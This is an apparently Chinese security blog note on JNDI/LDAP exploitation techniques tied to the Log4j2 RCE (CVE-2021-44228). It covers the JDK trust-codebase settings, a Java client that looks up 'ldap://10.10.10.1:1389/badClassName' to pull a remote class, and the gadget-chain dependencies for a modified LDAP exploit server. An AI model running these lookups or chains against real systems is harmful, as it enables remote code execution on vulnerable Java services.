因为 Log4j2 RCE(CVE-2021-44228)的出现,所以顺便把JNDI+LDAP的利用姿势一并总结。 利用需要注意的限制
- java.rmi.server.useCodebaseOnly
- 默认值为true,禁止自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
- com.sun.jndi.rmi.object.trustURLCodebase
- 默认为false,禁止RMI和CORBA协议使用远程codebase的选项
- com.sun.jndi.ldap.object.trustURLCodebase
- 默认为false,禁止LDAP协议使用远程codebase的选项
LDAP客户端:LDAPClient.java
package ldap;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException {
/**
* 注意:JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false
* 所以:在进行JNDI利用时,需要注意目标使用的JDK版本
*/
Context ctx = new InitialContext();
ctx.lookup("ldap://10.10.10.1:1389/badClassName");
}
}LDAP服务端:LDAPKit (改了一下,加了一些链进去)
测试效果:
Tomcat v8+
- org.apache.naming.factory.BeanFactory
- javax.el.ELProcessor
依赖环境
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.61</version>
</dependency>依赖环境
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>1.5.0</version>
</dependency>依赖环境
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>测试效果:



